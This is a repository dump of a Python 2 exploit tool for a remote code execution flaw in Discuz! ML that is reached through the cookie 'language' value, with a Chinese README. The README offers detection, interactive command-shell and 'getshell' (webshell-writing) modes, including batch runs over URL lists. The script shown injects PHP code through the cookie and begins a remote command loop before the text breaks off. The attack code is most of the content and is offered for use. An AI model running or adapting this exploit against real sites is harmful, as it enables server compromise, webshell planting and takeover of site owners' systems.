├── LICENSE
├── README.md
├── batch_result
└── 20190715111111
│ ├── failed-checked.txt
│ └── success-checked.txt
├── demo
├── dzmlrce01.png
├── dzmlrce02.png
├── dzmlrce03.png
├── dzmlrce04.png
├── dzmlrce06.png
└── dzmlrce09.png
├── dz-ml-rce.py
├── requirements.txt
└── urls.txt
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2019 LSA
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | dz-ml-rce.py :discuz ml RCE 漏洞检测工具
2 | ==
3 | ----------------
4 |
5 |
6 | # 概述
7 |
8 | 漏洞在于cookie的language可控并且没有严格过滤,导致可以远程代码执行,详情参考
9 |
10 | [discuz ml RCE漏洞重现及分析](http://www.lsablog.com/networksec/penetration/discuz-ml-rce-analysis/)
11 |
12 |
13 | 本工具支持单url和批量检测,有判断模式(只判断有无该漏洞)、cmdshell模式(返回简单的cmd shell)和getshell模式(写入一句话木马)。
14 |
15 |
16 | ----------------
17 |
18 | # 需求
19 |
20 | python2.7
21 | pip -r requirements.txt
22 |
23 |
24 | **使用时加上漏洞PHP页面(如forum.php,portal.php),直接写域名可能会重定向导致误报!**
25 |
26 | ----------------
27 |
28 | # 快速开始
29 |
30 | 使用帮助
31 | python dz-ml-rce.py -h
32 |
33 | 
34 |
35 |
36 | 判断模式
37 | python dz-ml-rce.py -u "http://www.xxx.cn/forum.php"
38 |
39 | 
40 |
41 |
42 | cmdshell模式
43 | python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --cmdshell
44 |
45 | 
46 |
47 |
48 | getshell模式
49 | python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --getshell
50 |
51 | 
52 |
53 |
54 | 批量检测
55 | python dz-ml-rce.py -f urls.txt
56 |
57 | 
58 |
59 |
60 | 批量getshell
61 | python dz-ml-rce.py -f urls.txt --getshell
62 |
63 | 
64 |
65 |
66 | ----------------
67 |
68 |
69 | # TODO
70 | 有空会做各种优化。
71 |
72 |
73 | ----------------
74 |
75 | # 反馈
76 | [issus](https://github.com/theLSA/discuz-ml-rce/issues)
77 |
78 | 博客:http://www.lsablog.com/networksec/penetration/discuz-ml-rce-analysis/
79 |
80 | gmail:lsasguge196@gmail.com
81 |
82 | qq:2894400469@qq.com
83 |
84 |
--------------------------------------------------------------------------------
/batch_result/20190715111111/failed-checked.txt:
--------------------------------------------------------------------------------
1 | http://www.xxx.com/home.php
--------------------------------------------------------------------------------
/batch_result/20190715111111/success-checked.txt:
--------------------------------------------------------------------------------
1 | http://www.xxx.cn/forum.php
--------------------------------------------------------------------------------
/demo/dzmlrce01.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theLSA/discuz-ml-rce/5705d5d4c6f10dfeeea11670d6c9e6e1a052ea5f/demo/dzmlrce01.png
--------------------------------------------------------------------------------
/demo/dzmlrce02.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theLSA/discuz-ml-rce/5705d5d4c6f10dfeeea11670d6c9e6e1a052ea5f/demo/dzmlrce02.png
--------------------------------------------------------------------------------
/demo/dzmlrce03.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theLSA/discuz-ml-rce/5705d5d4c6f10dfeeea11670d6c9e6e1a052ea5f/demo/dzmlrce03.png
--------------------------------------------------------------------------------
/demo/dzmlrce04.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theLSA/discuz-ml-rce/5705d5d4c6f10dfeeea11670d6c9e6e1a052ea5f/demo/dzmlrce04.png
--------------------------------------------------------------------------------
/demo/dzmlrce06.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theLSA/discuz-ml-rce/5705d5d4c6f10dfeeea11670d6c9e6e1a052ea5f/demo/dzmlrce06.png
--------------------------------------------------------------------------------
/demo/dzmlrce09.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theLSA/discuz-ml-rce/5705d5d4c6f10dfeeea11670d6c9e6e1a052ea5f/demo/dzmlrce09.png
--------------------------------------------------------------------------------
/dz-ml-rce.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | # Author:LSA
3 | # Description:discuz ml rce(cookie-language)
4 | # Date:20190714
5 |
6 |
7 | import requests
8 | import optparse
9 | #from requests.packages import urllib3
10 | import sys
11 | import urllib3
12 | import re
13 | from bs4 import BeautifulSoup
14 | import Queue
15 | import threading
16 | import os
17 | import datetime
18 |
19 |
20 |
21 | reload(sys)
22 | sys.setdefaultencoding('utf-8')
23 |
24 |
25 |
26 | lock = threading.Lock()
27 | q0 = Queue.Queue()
28 | threadList = []
29 | global success_count
30 | success_count = 0
31 |
32 |
33 | total_count = 0
34 |
35 |
36 | def get_setcookie_language_value(tgtUrl,timeout):
37 |
38 | urllib3.disable_warnings()
39 | tgtUrl = tgtUrl
40 | try:
41 | rsp = requests.get(tgtUrl, timeout=timeout, verify=False)
42 | rsp_setcookie = rsp.headers['Set-Cookie']
43 | # print rsp.text
44 | pattern = re.compile(r'(.*?)language=')
45 | language_pattern = pattern.findall(rsp_setcookie)
46 | setcookie_language = language_pattern[0].split(' ')[-1].strip() + 'language=en'
47 | return str(setcookie_language)
48 |
49 | except:
50 | print str(tgtUrl) + ' get setcookie language value error!'
51 | return 'get-setcookie-language-value-error'
52 |
53 |
54 | def dz_ml_rce_check(tgtUrl, setcookie_language_value, timeout):
55 |
56 | tgtUrl = tgtUrl
57 | check_payload = setcookie_language_value + '\'.phpinfo().\';'
58 | headers = {}
59 |
60 | headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36";
61 | headers["Cookie"] = check_payload;
62 |
63 | check_rsp = requests.get(tgtUrl,headers=headers,timeout=timeout,verify=False)
64 | #print headers['Cookie']
65 | if check_rsp.status_code == 200:
66 | try:
67 | if (check_rsp.text.index('PHP Version')):
68 | print 'target is vulnerable!!!'
69 |
70 | else:
71 | soup = BeautifulSoup(check_rsp.text, 'lxml')
72 | if (soup.find('title')):
73 | print 'target seem not vulnerable-' + 'return title: ' + str(soup.title.string) + '\n'
74 | except ValueError, e:
75 | print 'target seem not vulnerable-' + e.__repr__()
76 | except:
77 | print 'target seem not vulnerable-Unknown error.'
78 | else:
79 | print 'Target seem not vulnerable-status code: ' + str(check_rsp.status_code) + '\n'
80 |
81 |
82 |
83 | def dz_ml_rce_cmdshell(tgtUrl, setcookie_language_value, timeout):
84 |
85 | #cmdshell_pattern = re.compile(r'([\s][\S]*?)>> ")
109 | if command == 'exit':
110 | break
111 | cmd_exp_send = setcookie_language_value + cmd_exp.format(command)
112 | headers['Cookie'] = cmd_exp_send
113 | cmd_exp_rsp = requests.get(tgtUrl,headers=headers,timeout=timeout,verify=False)
114 | cmdshell_result = cmd_exp_rsp.text[0:1000].split('